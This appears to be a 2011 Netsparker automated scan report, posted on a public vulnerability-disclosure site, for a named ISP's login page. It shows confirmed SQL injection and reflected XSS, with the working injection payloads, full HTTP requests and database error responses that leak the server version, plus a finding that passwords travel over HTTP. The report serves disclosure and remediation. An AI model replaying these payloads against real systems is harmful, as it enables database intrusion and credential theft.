Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search
XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Private Reporting of Security Research is preferred for Online Service Providers
Loading
Netsparker - Scan Report Summary
TARGET URL
http://login.sisna.com/login_multiple/?SAMLRe...
SCAN DATE
4/26/2011 7:39:59 AM
REPORT DATE
4/26/2011 7:52:03 AM
SCAN DURATION
00:07:20
Total Requests
Average Speed
req/sec.
11
identified
9
confirmed
2
critical
1
informational
GHDB, DORK Tests
GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
VULNERABILITY SUMMARY
Vulnerability Summary
SQL Injection
SQL Injection
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker
confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping ). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries )
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements ). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
External References
Remedy References
Parameters
Parameter
Type
Value
SAMLRequest
GET
fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4+bUhUO9Gat1zPfrHc8+Wx0sAZLymDKkmjAAkBplgqrlD0XN+Elm2SnJ2MSjW75tHM1PsFHB+QC/xKJ9xcp6yxyI0gRR9EAcSf5Ynp/x4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u+fnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb+1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO+z2V8TPU4u9s4sO2iP419S2c+HbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z/bkmU9BW1DFd9K++QWpBqpWDJgjjbuf7dDL8v3w==
RelayState
GET
https://www.google.com/a/sisna.com/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fa%2Fsisna.com%2F&bsv=llya694le36z<mpl=default<mplcache=2
Reset
POST
Reset
Submit
POST
Login
username
POST
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
usernamepword
POST
Smith
postgresql 8.1.11 on i686-redhat-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20070626 (red hat 4.1.2-14)
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 243 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&usernamepword=Smith
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:41:49 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 74 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: invalid input syntax for type numeric: "_!@5dilemma"
Parameters
Parameter
Type
Value
SAMLRequest
GET
fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4+bUhUO9Gat1zPfrHc8+Wx0sAZLymDKkmjAAkBplgqrlD0XN+Elm2SnJ2MSjW75tHM1PsFHB+QC/xKJ9xcp6yxyI0gRR9EAcSf5Ynp/x4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u+fnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb+1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO+z2V8TPU4u9s4sO2iP419S2c+HbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z/bkmU9BW1DFd9K++QWpBqpWDJgjjbuf7dDL8v3w==
RelayState
GET
https://www.google.com/a/sisna.com/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fa%2Fsisna.com%2F&bsv=llya694le36z<mpl=default<mplcache=2
username
POST
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
usernamepword
POST
Smith
Submit
POST
Login
postgresql 8.1.11 on i686-redhat-linux-gnu, compiled by gcc gcc (gcc) 4.1.2 20070626 (red hat 4.1.2-14)
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 231 Accept-Encoding: gzip, deflate username='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&usernamepword=Smith&Submit=Login
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:42:26 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 74 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: invalid input syntax for type numeric: "_!@5dilemma"
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
Parameters
Parameter
Type
Value
SAMLRequest
GET
fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4+bUhUO9Gat1zPfrHc8+Wx0sAZLymDKkmjAAkBplgqrlD0XN+Elm2SnJ2MSjW75tHM1PsFHB+QC/xKJ9xcp6yxyI0gRR9EAcSf5Ynp/x4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u+fnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb+1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO+z2V8TPU4u9s4sO2iP419S2c+HbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z/bkmU9BW1DFd9K++QWpBqpWDJgjjbuf7dDL8v3w==
RelayState
GET
https://www.google.com/a/sisna.com/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fa%2Fsisna.com%2F&bsv=llya694le36z<mpl=default<mplcache=2
Query Based
QUERYSTRING
'"--></style></script><script>alert(0x000344)</script>
Request
GET /login_multiple/?'"--></style></script><script>netsparker(0x000344)</script> HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: login.sisna.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:40:14 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 2009 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>@ Login</title> <link href="styles.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> //Frameset Break Away function deframe(){ if (top.location != self.location) top.location.href=self.location; } //Set focus to NetID text box function sf(){ document.login.username.focus(); } </script> </head> <body style="background-color: #EFEFEF;"> <!-- Login Form --> <form action="/login_multiple/?'"--></style></script><script>netsparker(0x000344)</script>" method="post" name="login"> <table id="login" class="tbl_login" align="center"> <tr> <td colspan="2" style="padding: 10px; text-align: center;"><img src="img//logo.gif" alt="Logo" /><br /><br /> Log In to your <strong>@</strong> account: <div style="padding: 10px; font-family: Arial, Verdana, Helvetica, sans-serif; color:#FF0000; font-size:12px;"></div></td> </tr> <tr> <td align="right">Account Username:</td> <td><input name="username" type="text" class="txt"></td> </tr> <tr> <td align="right">Account Password:</td> <td><input name="usernamepword" type="password" class="txt"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" class="btn_frm"> <label> <input type="reset" name="Reset" value="Reset" class="btn_frm" /> </label> <br /> <br /></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
Parameters
Parameter
Type
Value
SAMLRequest
GET
fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4+bUhUO9Gat1zPfrHc8+Wx0sAZLymDKkmjAAkBplgqrlD0XN+Elm2SnJ2MSjW75tHM1PsFHB+QC/xKJ9xcp6yxyI0gRR9EAcSf5Ynp/x4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u+fnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb+1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO+z2V8TPU4u9s4sO2iP419S2c+HbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z/bkmU9BW1DFd9K++QWpBqpWDJgjjbuf7dDL8v3w==
RelayState
GET
https://www.google.com/a/sisna.com/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fa%2Fsisna.com%2F&bsv=llya694le36z<mpl=default<mplcache=2
Reset
POST
Reset
Submit
POST
Login
username
POST
'"--></style></script><script>alert(0x000391)</script>
usernamepword
POST
Smith
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 139 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000391)%3c%2fscript%3e&usernamepword=Smith
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:41:26 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 198 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: unterminated quoted identifier at or near ""--></style></script><script>netsparker(0x000391)</script>') AND realm = 'sisna.com' and tablename = 'svc_email'" at character 213
Parameters
Parameter
Type
Value
SAMLRequest
GET
fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4+bUhUO9Gat1zPfrHc8+Wx0sAZLymDKkmjAAkBplgqrlD0XN+Elm2SnJ2MSjW75tHM1PsFHB+QC/xKJ9xcp6yxyI0gRR9EAcSf5Ynp/x4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u+fnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb+1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO+z2V8TPU4u9s4sO2iP419S2c+HbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z/bkmU9BW1DFd9K++QWpBqpWDJgjjbuf7dDL8v3w==
RelayState
GET
https://www.google.com/a/sisna.com/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fa%2Fsisna.com%2F&bsv=llya694le36z<mpl=default<mplcache=2
username
POST
'"--></style></script><script>alert(0x0003BF)</script>
usernamepword
POST
Smith
Submit
POST
Login
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 127 Accept-Encoding: gzip, deflate username='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0003BF)%3c%2fscript%3e&usernamepword=Smith&Submit=Login
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:42:16 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 198 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: unterminated quoted identifier at or near ""--></style></script><script>netsparker(0x0003BF)</script>') AND realm = 'sisna.com' and tablename = 'svc_email'" at character 213
Password Transmitted Over HTTP
Password Transmitted Over HTTP
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
See the remedy for solution.
Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: 